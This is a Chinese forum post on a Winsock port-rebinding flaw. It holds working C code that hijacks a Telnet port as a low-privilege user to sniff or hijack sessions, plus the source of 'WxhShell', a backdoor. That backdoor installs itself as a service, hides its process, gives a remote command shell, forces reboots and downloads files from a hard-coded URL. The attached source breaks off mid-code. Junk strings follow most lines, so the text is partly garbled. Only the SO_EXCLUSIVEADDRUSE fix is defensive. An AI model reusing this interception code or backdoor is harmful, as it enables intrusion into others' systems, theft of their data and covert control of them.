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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ? eU=xO  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =s\RK   
Py3Y*YP  
  saddr.sin_family = AF_INET; 0VA$ Ige  
4;_<CB  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); o|FY-+  
IhRYV`:  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); RyJN=;5p  
[xrM){ItW  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 1\~-No  
L, k\`9bQ  
  这意味着什么?意味着可以进行如下的攻击: gLH#UwfJ  
qXb{A*J  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 HoFFce7o  
]rhxB4*1  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) og! d  
,J (+%#$UT  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 cl4Vi%   
VgoN=S  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  TsX(=N_  
2u> [[U1:  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 R>3a?.X  
X`,]@c%C`  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 i;yr=S,a0/  
,z*-93H1  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Gz>M`M`[4  
]Q%|69H}B  
  #include syseYt]  
  #include Yy_o*Ozq  
  #include nCj_4,O  
  #include    9aE.jpN  
  DWORD WINAPI ClientThread(LPVOID lpParam);   e/h2E dY  
  int main() ?;//%c8,.  
  { TDMyZ!d  
  WORD wVersionRequested; f\Fk+)e@  
  DWORD ret; :=<0Z1S  
  WSADATA wsaData; )RQX1("O  
  BOOL val; j.5;0b_L^  
  SOCKADDR_IN saddr; W/U_:^[-  
  SOCKADDR_IN scaddr; <K#]1xCA  
  int err; [q MFLY$  
  SOCKET s; :*{>=BD  
  SOCKET sc; K~?M?sa  
  int caddsize; [CfA\-gx<f  
  HANDLE mt; => PBdW  
  DWORD tid;   T.=du$  
  wVersionRequested = MAKEWORD( 2, 2 ); 8olR#>  
  err = WSAStartup( wVersionRequested, &wsaData ); p PF]&:&-b  
  if ( err != 0 ) { ?^# h|aUp.  
  printf("error!WSAStartup failed!\n"); dZ kr#>  
  return -1; e>Z F? (a0  
  }  h,D6MP  
  saddr.sin_family = AF_INET; {O"?_6',  
   `wyX)6A|bt  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 49BLJ|:P?  
[~ Wiy3n  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); `F#<qZSR  
  saddr.sin_port = htons(23); g;>M{)A  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ${/"u3a_  
  { 2WA =U]  
  printf("error!socket failed!\n"); mNvK|bTUT  
  return -1; #2F 6}  
  } V<#E!MG  
  val = TRUE; ""dX4^gtU  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ~+y0UEtq7  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) $S"QyAH~-a  
  { Vs)%*1><  
  printf("error!setsockopt failed!\n"); f> u{e~Q,  
  return -1; 7Y8B \B)w  
  } owA0I'|V-A  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; {GaQV-t  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 S[TJ{ L(  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 `f@VX :aL}  
f[@M  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) j'?^<4i  
  { 9}4EW4  
  ret=GetLastError(); )6S;w7  
  printf("error!bind failed!\n"); "dKYJ&$  
  return -1; $J~~.PUXQ  
  } ~/@5&ajz  
  listen(s,2); UL/|!(s  
  while(1) A/ eZ!"Y  
  { $Qm-p?f  
  caddsize = sizeof(scaddr); -zeodv7  
  //接受连接请求 [n`SXBi+n  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); X9:(}=E V  
  if(sc!=INVALID_SOCKET) &wZ ggp  
  { xLE+"6;W  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); U`j[Ni}"  
  if(mt==NULL) CIM 9~:\  
  { "CEy r0h  
  printf("Thread Creat Failed!\n"); }T?MWcG4  
  break; @~!1wPvF`I  
  } 5-277?  
  } seFug  
  CloseHandle(mt); ;w(]z  
  } + *YGsM`E9  
  closesocket(s); hIj[#M&6  
  WSACleanup(); %j].' ;  
  return 0; +s6 wF{  
  }   )P^5L<q>|  
  DWORD WINAPI ClientThread(LPVOID lpParam) (8!#<$  
  { #\+ TKK  
  SOCKET ss = (SOCKET)lpParam; ASuxty  
  SOCKET sc; zS Yh ?NB5  
  unsigned char buf[4096]; LhZWK^!{S  
  SOCKADDR_IN saddr; /H)K_H#|;  
  long num; \WM*2&  
  DWORD val; Z\=].[,w4  
  DWORD ret; jafq(t  
  //如果是隐藏端口应用的话,可以在此处加一些判断 9T47U; _)  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   \?,'i/c-  
  saddr.sin_family = AF_INET; Fj9/@pe1  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); @<]xbWhuw  
  saddr.sin_port = htons(23); `Z{kJMS  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) r)|X?   
  { &jgpeFiiC  
  printf("error!socket failed!\n"); ]P TTI\n  
  return -1; PN{l)&K2.  
  } '3>kDH+  
  val = 100; 1#AdEd[  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) v>3)^l:=Y*  
  { ]JX0:'x^  
  ret = GetLastError(); s,TKC67.%+  
  return -1; o~ .[sn5l-  
  } W{Cc wq  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Kp *nOZ  
  { (o_fY.  
  ret = GetLastError(); %/dYSC  
  return -1; A>6 b 6  
  } N\<RQtDg  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) [y y D-  
  { 3,j)PKf ;  
  printf("error!socket connect failed!\n");  M/5e4b  
  closesocket(sc); Q? a&q0f  
  closesocket(ss); PsDks3cG  
  return -1; ?)#dP8n  
  } M}4%LjD  
  while(1) O6P0Am7s  
  { &\][:kG;  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 9?r|Y@xh]  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ~UjFL~K}  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 lKs*KwG  
  num = recv(ss,buf,4096,0); v]g/ 5qI&  
  if(num>0) e-4XNL[F  
  send(sc,buf,num,0); sk~rjH]-g$  
  else if(num==0) l=5(5\  
  break; WYTeu "  
  num = recv(sc,buf,4096,0); XG"&\FL{T  
  if(num>0) %}cGAHV  
  send(ss,buf,num,0); p(MhDS\J  
  else if(num==0) Ebp^-I9.d  
  break; 8NJ(l  
  } )2}{fFa%  
  closesocket(ss); 2 [a#wz'  
  closesocket(sc); TH2D;uv  
  return 0 ; OpY2Z7_  
  } %R5APMg1  
QP|Ou*Qm)  
=+q9R`!L]  
========================================================== zIWw055W  
SsDz>PP  
下边附上一个代码,,WXhSHELL $]4^ENkI  
3%m2$\  
========================================================== yk Sn=0  
5O&6 (Gaf  
#include "stdafx.h" cbl@V 1  
^_JD 7-g  
#include <stdio.h> <Mo_GTOC!  
#include <string.h> ]{V q;  
#include <windows.h> ~oI7TP  
#include <winsock2.h> [JFmhLP9  
#include <winsvc.h> `pF|bZ?v  
#include <urlmon.h> \pZ,gF;y  
z 8M^TV  
#pragma comment (lib, "Ws2_32.lib") \4I1wdd|^  
#pragma comment (lib, "urlmon.lib") 9iWDEk  
$j^Jj  
#define MAX_USER   100 // 最大客户端连接数 goi.'8M|/b  
#define BUF_SOCK   200 // sock buffer <CJua1l\  
#define KEY_BUFF   255 // 输入 buffer gF1q Z=<  
vpx8GiV  
#define REBOOT     0   // 重启 `h12  
#define SHUTDOWN   1   // 关机 {zBf*x  
r00waw>C\  
#define DEF_PORT   5000 // 监听端口 C$\|eC j  
<OF7:f  
#define REG_LEN     16   // 注册表键长度 o:_}=1nh  
#define SVC_LEN     80   // NT服务名长度 s S8Z5k;  
^8aj\xe(  
// 从dll定义API u&`7 C  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _n_lO8mK  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7f#[+i  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0\%/:2   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6}  !n0  
aT[Z#Zd, N  
// wxhshell配置信息 }pj>BK>  
struct WSCFG { ?"PUw3V3lB  
  int ws_port;         // 监听端口 8 s!0Z1Roc  
  char ws_passstr[REG_LEN]; // 口令 ]y@8mb&  
  int ws_autoins;       // 安装标记, 1=yes 0=no DDn@M|*$  
  char ws_regname[REG_LEN]; // 注册表键名 B2VC:TG>  
  char ws_svcname[REG_LEN]; // 服务名 dlN(_6>b  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 a ^<W ?Z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =:[Jz1M5  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 OwV>`BIwns  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ex7zg!  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" oabc=N!7r  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >|!F.W  
_)Q) tOW  
}; ed4:r/Dpo  
ji<b#YO4  
// default Wxhshell configuration ws Lg6  
struct WSCFG wscfg={DEF_PORT, U .hV1  
    "xuhuanlingzhe", mJRvC%  
    1, <Bb $d@c  
    "Wxhshell", V(1Ldl'a  
    "Wxhshell", U 9TEC)  
            "WxhShell Service", Lv+lLK  
    "Wrsky Windows CmdShell Service", ;rJR+wpNa  
    "Please Input Your Password: ", 8AT;9wZqt  
  1, v9INZ1# v  
  "http://www.wrsky.com/wxhshell.exe", q17c)]<"  
  "Wxhshell.exe" CL|t!+wU/  
    }; :}TT1@  
ej>8$^y  
// 消息定义模块 ]p:x,%nm  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; IBb3A  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (%"M% Qko  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; P0S ;aE  
char *msg_ws_ext="\n\rExit."; UvRa7[<y%%  
char *msg_ws_end="\n\rQuit."; (Mhj-0xf$  
char *msg_ws_boot="\n\rReboot..."; Ev%4}GwO4  
char *msg_ws_poff="\n\rShutdown..."; MFcN.M  
char *msg_ws_down="\n\rSave to "; g e:UliHJ  
S*Scf~Qp  
char *msg_ws_err="\n\rErr!"; T[B@7$Dp*  
char *msg_ws_ok="\n\rOK!"; aiGT!2  
w|gtb~oh  
char ExeFile[MAX_PATH]; AJ[g~ s't  
int nUser = 0; mZ3i#a4  
HANDLE handles[MAX_USER]; 6c>t|=Ss(  
int OsIsNt; 0[TZ$<v"  
lZZ4 O(  
SERVICE_STATUS       serviceStatus; Cq;t;qN,nQ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  d_gm'  
F=yrqRS=  
// 函数声明 +r *f2\S  
int Install(void); RS!~5nk5  
int Uninstall(void); AJ`b- $Q  
int DownloadFile(char *sURL, SOCKET wsh); HS.3PE0^C  
int Boot(int flag); LF* 7;a  
void HideProc(void); Kf2*|ZHj  
int GetOsVer(void); dQ@ e+u5  
int Wxhshell(SOCKET wsl); Dg%zNi2GS  
void TalkWithClient(void *cs); 1uz9zhG><  
int CmdShell(SOCKET sock); Kc_QxON4  
int StartFromService(void); YOwo\'|=  
int StartWxhshell(LPSTR lpCmdLine); (o)nN8  
. ]0B=w* Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .5|AX6p+^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); qPuxYU  
]=of=T:  
// 数据结构和表定义 ==`K$rM  
SERVICE_TABLE_ENTRY DispatchTable[] = d$8rzd  
{ sguE{!BO  
{wscfg.ws_svcname, NTServiceMain}, +b1(sk=4z  
{NULL, NULL} xcwyn\93)  
}; K/79Tb-  
(h7 rW3  
// 自我安装 1i4KZ"A5+  
int Install(void) 0vNEl3f'O  
{ 96T.xT>&  
  char svExeFile[MAX_PATH]; HE(|x 1C)j  
  HKEY key; dN\Byl(6  
  strcpy(svExeFile,ExeFile); P;bl+a'gu  
4_3Jpz*  
// 如果是win9x系统,修改注册表设为自启动 v>YdPQky  
if(!OsIsNt) { {\j h? P|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -q|K\>tgU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Fx 2 KRxk  
  RegCloseKey(key); BusD}9QqB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =HmV0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gN$.2+:  
  RegCloseKey(key); >Jt,TMMlt  
  return 0; 6|wi Zw  
    } p;`jmF   
  } z8{ kwz  
} trnjOm  
else { 8<t6_* f  
Pe8W Br;`  
// 如果是NT以上系统,安装为系统服务 z kQV$n{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); R}c,ahd  
if (schSCManager!=0) DvHcT] l>5  
{ ^;@q^b)ZP  
  SC_HANDLE schService = CreateService m]} E0  
  ( Or= [2@Wg  
  schSCManager, \~d|MP}"F:  
  wscfg.ws_svcname, ~4y&]:I  
  wscfg.ws_svcdisp, F&.iY0Pt  
  SERVICE_ALL_ACCESS, D% } ?l  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , s$css{(ek  
  SERVICE_AUTO_START, ,@jRe&6  
  SERVICE_ERROR_NORMAL, Kl GPu GL  
  svExeFile, j9u/R01d  
  NULL, rlk0t159  
  NULL, sufidi  
  NULL, f9u^/QVS&  
  NULL, _*h,,Q  
  NULL eU 'DQp*  
  ); Ls)y.u  
  if (schService!=0) l-xKfp`  
  { b|U&{I>TH  
  CloseServiceHandle(schService); zJWBovT/  
  CloseServiceHandle(schSCManager); Kj,C 9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ]4-lrI1#  
  strcat(svExeFile,wscfg.ws_svcname); ."Wdpf`~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Da*=uW9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~Z!!wDHS  
  RegCloseKey(key); E</Um M+ R  
  return 0; (m80isl  
    } |>@Gbgw^M  
  } CwZ+P n0  
  CloseServiceHandle(schSCManager); 2%U)y;$m2  
} (M5w:qbR  
} ,IoPK!5xy  
T{3C3EE?]  
return 1;  hX?L/yf  
} !cPiH6eO  
ps=jGh[  
// 自我卸载 {.pR$]6B"+  
int Uninstall(void) pV{MW#e  
{ 4wh_ iO  
  HKEY key; Jaz|b`KDj  
Wm$( b2t  
if(!OsIsNt) { N|K,{ p^li  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j@1cllJkh  
  RegDeleteValue(key,wscfg.ws_regname); eWzD'3h^  
  RegCloseKey(key); eKi/Mt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { HMGby2^+  
  RegDeleteValue(key,wscfg.ws_regname); QLrFAV  
  RegCloseKey(key); Dw{rjK\TT'  
  return 0; [` ~YPUR*  
  } R+k-mbvnt  
}  /B)ZB})z  
} RFd.L@-]  
else { ,g2|8>sJP  
Z3?,r[   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); V{@ xhW0  
if (schSCManager!=0) :Y/i%#*1  
{ :=vB|Ch:~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); HSGM&!5mW  
  if (schService!=0) c=]qUhnH  
  { uqwB`<>KJ  
  if(DeleteService(schService)!=0) { CAyV#7[0  
  CloseServiceHandle(schService); EM]~yn!+  
  CloseServiceHandle(schSCManager); S'M=P_-7  
  return 0; !c-Ie~GIT  
  } D|m6gP;P  
  CloseServiceHandle(schService); HPl!r0 h  
  } Bv_C *vW  
  CloseServiceHandle(schSCManager); Q<W9<&VZe  
} Jv1igA21_h  
} ?Q1(L$-=  
0jCYOl  
return 1; ^{&Vv(~!Q  
} H?98^y7  
Xr\|U89P  
// 从指定url下载文件 1;cV [&3  
int DownloadFile(char *sURL, SOCKET wsh) le*mr0a  
{ uU(G&:@  
  HRESULT hr; 6OR5zXpk  
char seps[]= "/"; S6-)N(3|  
char *token; @k:f(c  
char *file; 9z7^0Ruw  
char myURL[MAX_PATH]; %^s;{aN*!  
char myFILE[MAX_PATH]; aiVd^(  
?h UC#{  
strcpy(myURL,sURL); 4GWt.+{J$  
  token=strtok(myURL,seps); YVt#( jl  
  while(token!=NULL) @s!9 T  
  { Kn3qq  
    file=token; {N1Ss|6  
  token=strtok(NULL,seps); wuE]ju<  
  } fy04/_,q  
,ButNB v  
GetCurrentDirectory(MAX_PATH,myFILE); 3Tze`Q 9  
strcat(myFILE, "\\"); y~'F9E!i  
strcat(myFILE, file); ppr95 Y]^  
  send(wsh,myFILE,strlen(myFILE),0); 2KVMQH`B9  
send(wsh,"...",3,0); L4`bGZl55  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); pOP`n3m0  
  if(hr==S_OK) UMR0S5`}  
return 0; >m='#x0>Y  
else |_L\^T|6  
return 1; !xmvCH=2  
WccTR aq  
} 3a PCi>i!_  
edld(/wu~  
// 系统电源模块 x*td nor&  
int Boot(int flag) z`UL)W  
{ e3w4@V`  
  HANDLE hToken; c:etJ  
  TOKEN_PRIVILEGES tkp; t"M&Yy  
0,+RF "R  
  if(OsIsNt) { %T@3-V_  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); gTWl];xja  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); MMg"G6?  
    tkp.PrivilegeCount = 1; [of{~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \Z9+U:n  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); hZ NS$  
if(flag==REBOOT) { 7=C$*)x  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *i zPLM}+  
  return 0; *sK")Q4N  
} y1R53u`;L  
else { K{)N:|y%!$  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1}+lL)-!  
  return 0; 1A\Jh3;Q  
} i zJa`K  
  } mh`~1aEr  
  else { Eukj2 a  
if(flag==REBOOT) { )RA$E`!b  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) QX}O{LQR  
  return 0; 4_qd5K+n"  
} OB"Ur-hJ0  
else { -JOtvJIQI  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,] HH%/h  
  return 0; D?;8bI%"  
} 2)}ic2]pn  
} g]au|$L4  
P 1`X<A  
return 1; z5G<h  
} <)n8lIK  
Zwj\Hz.  
// win9x进程隐藏模块 E>|[@Z  
void HideProc(void) S1oRMd)r  
{ 4AdZN5  
=^ur@E  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :m*r( i3  
  if ( hKernel != NULL ) k( l  
  { &?L K>QV  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )>,; GVu"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .ko8`J%%M  
    FreeLibrary(hKernel); 1_JtD|Jy  
  } df@IC@`pB  
db$wKvO1  
return; P5 GM s  
} N-* ^V^V  
)IUeWR  
// 获取操作系统版本 vg@kPuOiO  
int GetOsVer(void) uNnx i  
{ L3[r7 b  
  OSVERSIONINFO winfo; [/_M!&zz2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); H^y%Bi&^  
  GetVersionEx(&winfo); ;/gH6Z?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !ceT>i90h  
  return 1; 5Y<O  
  else Hc.r/  
  return 0; pzcV[E1  
} 9_yO 6)`  
q{D_p[q  
// 客户端句柄模块 b0W~*s [4  
int Wxhshell(SOCKET wsl) )Los\6PRn  
{ r|!w,>.  
  SOCKET wsh; 9MfBsp}c  
  struct sockaddr_in client; E?%SOU<  
  DWORD myID; .xJW=G{/  
951"0S`Lo  
  while(nUser<MAX_USER) cRYnQ{$'  
{ CBaU$`5  
  int nSize=sizeof(client); Gvg)@VNr  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &k'J5YHm8H  
  if(wsh==INVALID_SOCKET) return 1; >y&Db  
f-6hcd@Ca  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); E`vCYhf{  
if(handles[nUser]==0) nNuv 0  
  closesocket(wsh); Ay?;0w0  
else T}DP35dBzE  
  nUser++; r9!jIkILz  
  } E"LSM]^^<f  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3Z?"M  
&)F8i# M  
  return 0; OcR6\t'  
} !uaV6K  
6ww4ZH?j  
// 关闭 socket k.Tu#7  
void CloseIt(SOCKET wsh)  P%#WeQ+  
{ Yphru"\$  
closesocket(wsh); 1rs`|iX5  
nUser--; nNbOq[  
ExitThread(0); RmXC ^VQ  
} "#7~}Z B  
z"4UObVs  
// 客户端请求句柄 ~!o\uTVr  
void TalkWithClient(void *cs) ^kg[n908Nw  
{ w74 )kIi  
EW;R^?Z  
  SOCKET wsh=(SOCKET)cs; a.P7O!2Lp  
  char pwd[SVC_LEN]; }T<[JXh=J  
  char cmd[KEY_BUFF]; );4lM%]eb  
char chr[1]; r>v_NKS]t  
int i,j; eq^<5 f  
i3C5"\y  
  while (nUser < MAX_USER) { "Mt4~vy  
w!$|IC  
if(wscfg.ws_passstr) { K$>C*?R  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H.\gLIr  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C>%2'S^.b  
  //ZeroMemory(pwd,KEY_BUFF); Rw4"co6  
      i=0; (r8Rb*OP  
  while(i<SVC_LEN) { =`VA_xVu  
?6h65GO{  
  // 设置超时 W zM9{c  
  fd_set FdRead; .j*muDVQn  
  struct timeval TimeOut; F$TNYZ  
  FD_ZERO(&FdRead); ` VL`8  
  FD_SET(wsh,&FdRead); +eiM6* /0  
  TimeOut.tv_sec=8; ^[]G sF  
  TimeOut.tv_usec=0; EL_rh TWw  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); i <KWFF#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9uk}r; %9  
FD?!bI4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jJ^p ?  
  pwd=chr[0]; VCOz?Y*  
  if(chr[0]==0xd || chr[0]==0xa) { &\(p<TF  
  pwd=0; W/*2I3a  
  break; ,TrrqCw>  
  } ')pXQ  
  i++; unE h  
    } i:ar{ q  
:W'Yt9v)  
  // 如果是非法用户,关闭 socket XA8{N  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); X+l &MD  
} sGx"j a +  
xyGk\= S  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6nxX~k  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F,2)Udim  
VgfA&?4[  
while(1) { 5GD6%{\O  
w2B If[~t  
  ZeroMemory(cmd,KEY_BUFF); d-%!.,F#W  
0fgt2gA33  
      // 自动支持客户端 telnet标准   [%U(l<  
  j=0; 21Z}Zj  
  while(j<KEY_BUFF) { HWe?vz$4"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !acm@"Ea  
  cmd[j]=chr[0]; \A gPkW  
  if(chr[0]==0xa || chr[0]==0xd) { R~40,$e{  
  cmd[j]=0; 0!v+ +  
  break; I[|5 DQ  
  } rCGyr}(NC  
  j++; (_^pX  
    } YGy.39@31  
7P}&<;5zD  
  // 下载文件 * b+ef  
  if(strstr(cmd,"http://")) { 1+;Z0$edxz  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); KiXXlaOs  
  if(DownloadFile(cmd,wsh)) _YVp$aKDR  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #K A,=J  
  else ?)=A[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y8I*B =7  
  } NABwtx>.  
  else { YJZVi ic  
IY$H M3t7  
    switch(cmd[0]) { ${"+bWG2G!  
  Y.M^tH:  
  // 帮助 zyNg?_SM  
  case '?': { N*.JQvbnr  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); zZ3Ko3L%g_  
    break; V+7x_>!&)  
  } GC(:}e|  
  // 安装 eil"1$k  
  case 'i': { =]r<xON%S  
    if(Install()) STMc@MeZU_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yLfb'Ba  
    else P]*,955*)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L\L/+yNv:G  
    break; T;(k  
    } `Q d_Gu,M  
  // 卸载 a4gJ-FE  
  case 'r': { %%["&  
    if(Uninstall()) KCR6@{@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Obd@#uab  
    else s{v!jZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AH$D./a  
    break; [d="94Ab  
    } FX QUj&9  
  // 显示 wxhshell 所在路径 _~f&wkc  
  case 'p': {  uY]nqb  
    char svExeFile[MAX_PATH]; hr9[$4'H  
    strcpy(svExeFile,"\n\r"); ` <+MR6M  
      strcat(svExeFile,ExeFile); uW*)B_c  
        send(wsh,svExeFile,strlen(svExeFile),0); /Jz?~H{%n  
    break; Q[t|+RNKv2  
    } Bny3j~*U  
  // 重启 ZTV|rzE   
  case 'b': { ,k}-I65M*t  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {[V<mT2/  
    if(Boot(REBOOT)) /]~Oa#SQ:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0zD[mt  
    else { G]Fp},  
    closesocket(wsh); ?1\rf$l8  
    ExitThread(0); w0n.Y-v4i  
    } &)?ECj0`  
    break; =aM(r6 C  
    } aw z(W >  
  // 关机 1-`Il]@?8  
